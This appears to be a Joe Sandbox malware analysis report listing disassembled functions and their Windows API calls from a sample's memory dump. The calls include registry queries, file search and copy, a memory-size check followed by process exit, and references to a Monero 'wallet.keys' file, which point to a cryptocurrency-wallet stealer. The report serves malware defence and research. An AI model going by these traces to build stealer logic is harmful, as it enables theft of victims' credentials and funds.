Part of subcall function 007B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 007B8E0B

lstrcat.KERNEL32(?,00000000), ref: 007B4801
lstrcat.KERNEL32(?,?), ref: 007B4820
lstrcat.KERNEL32(?,?), ref: 007B4834
lstrcat.KERNEL32(?,013EB5F8), ref: 007B4847
lstrcat.KERNEL32(?,?), ref: 007B485B
lstrcat.KERNEL32(?,013FE850), ref: 007B486F

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007B8D90: GetFileAttributesA.KERNEL32(00000000,?,007A1B54,?,?,007C564C,?,?,007C0E1F), ref: 007B8D9F

Part of subcall function 007B4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 007B4580
Part of subcall function 007B4570: RtlAllocateHeap.NTDLL(00000000), ref: 007B4587
Part of subcall function 007B4570: wsprintfA.USER32 ref: 007B45A6
Part of subcall function 007B4570: FindFirstFileA.KERNEL32(?,?), ref: 007B45BD

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 22a638b038af6b9d367daacfae8f931e947ac7894c6984f54ea4d2ad6c2db20e
Instruction ID: 036c09bc085ebc98eb16a785b2537176d0a65a7156df3a2276e262caf2e900b2
Opcode Fuzzy Hash: 22a638b038af6b9d367daacfae8f931e947ac7894c6984f54ea4d2ad6c2db20e
Instruction Fuzzy Hash: 453195B2910208A7DB50F7B0DCC9FED737CBB48700F404589B31596091EE78AB89CB96

Function 007A1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 007A123E
__aulldiv.LIBCMT ref: 007A1258
__aulldiv.LIBCMT ref: 007A1266
ExitProcess.KERNEL32 ref: 007A1294

Strings

@, xrefs: 007A1233

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 22a54e39ae64c0cde046136fac82ec2a37e9ccee008f24206750663aed09c915
Instruction ID: b7e069417c8cb63fda4b9b4b74eb27472ef955cb88fa2d34e92a60083630a288
Opcode Fuzzy Hash: 22a54e39ae64c0cde046136fac82ec2a37e9ccee008f24206750663aed09c915
Instruction Fuzzy Hash: 150162B0E44308FAEF10DBE0CC49B9DBB78BB44701F648154F705BA2C1D778A9418799

Function 007B40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,013FE6B0,00000000,00020119,?), ref: 007B40F4
RegQueryValueExA.ADVAPI32(?,013FF5B0,00000000,00000000,00000000,000000FF), ref: 007B4118
RegCloseKey.ADVAPI32(?), ref: 007B4122
lstrcat.KERNEL32(?,00000000), ref: 007B4147
lstrcat.KERNEL32(?,013FF5E0), ref: 007B415B

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: c7d7809daa3d0f82a110e23415a665d348a7d9fa21393101455b0261c0890513
Instruction ID: e401add8b4d4075fdf50eadcdd932ca69c3c96a46fda170ce45b0afb18787a35
Opcode Fuzzy Hash: c7d7809daa3d0f82a110e23415a665d348a7d9fa21393101455b0261c0890513
Instruction Fuzzy Hash: 0E41AEB6D10108ABDB14EBE0DC8AFFD737DA788300F404559B7155B191EA75AF888BD2

Function 6C66C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 007B7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 007B7E37
RtlAllocateHeap.NTDLL(00000000), ref: 007B7E3E
RegOpenKeyExA.KERNEL32(80000002,013EBF78,00000000,00020119,?), ref: 007B7E5E
RegQueryValueExA.KERNEL32(?,013FEA30,00000000,00000000,000000FF,000000FF), ref: 007B7E7F
RegCloseKey.ADVAPI32(?), ref: 007B7E92

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 60fb10852b35f6355146415353f008762c5240d461922d3608155382577dbbfc
Instruction ID: 02639111d34078a5da00adb4d4ae48b06e45dd47f8e1ea28d4ec92c1ba421cc2
Opcode Fuzzy Hash: 60fb10852b35f6355146415353f008762c5240d461922d3608155382577dbbfc
Instruction Fuzzy Hash: 251191B1A48245EFD714CF94DC89FBBBBB8EB44700F104119F605AB290D778AC00DBA2

Function 007A12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 007A12B4
RtlAllocateHeap.NTDLL(00000000), ref: 007A12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 007A12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 007A12F5
RegCloseKey.ADVAPI32(?), ref: 007A12FF

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: b34fa605e69218e4c07863e61e7b7a31d1e920dd44684d5057b0f2a51c391904
Instruction ID: cd8090739fd7e5e3d2dc89a480038a28756a26cf302d24c77680a8afd7cec202
Opcode Fuzzy Hash: b34fa605e69218e4c07863e61e7b7a31d1e920dd44684d5057b0f2a51c391904
Instruction Fuzzy Hash: 2E0131B9A54208BBDB00DFE0DC89FAEB7B8EB48701F008159FA059B290D675AA019F51

Function 007AA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(013F8F10,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 007AA0BD
LoadLibraryA.KERNEL32(013FE690), ref: 007AA146

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007BA820: lstrlen.KERNEL32(007A4F05,?,?,007A4F05,007C0DDE), ref: 007BA82B
Part of subcall function 007BA820: lstrcpy.KERNEL32(007C0DDE,00000000), ref: 007BA885

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

SetEnvironmentVariableA.KERNEL32(013F8F10,00000000,00000000,?,007C12D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,007C0AFE), ref: 007AA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 007AA0B2, 007AA0C6, 007AA0DC

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: 9fde6acd4387108bb3f24593852f09aacf366e1ce921f34260465254e6387ac1
Instruction ID: 66ed4cc877d574cdb1b27384202fead17709a0654740a40372deee5109cf34f3
Opcode Fuzzy Hash: 9fde6acd4387108bb3f24593852f09aacf366e1ce921f34260465254e6387ac1
Instruction Fuzzy Hash: C5414FB1929244FFCB05EF64ECD9BAA37B4B74A701F040128F5059A2B0DB386D45DB63

Function 007AA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

Part of subcall function 007B8B60: GetSystemTime.KERNEL32(007C0E1A,013FB6A8,007C05AE,?,?,007A13F9,?,0000001A,007C0E1A,00000000,?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007B8B86

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 007AA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 007AA3FF
lstrlen.KERNEL32(00000000), ref: 007AA6BC

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

DeleteFileA.KERNEL32(00000000), ref: 007AA743

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
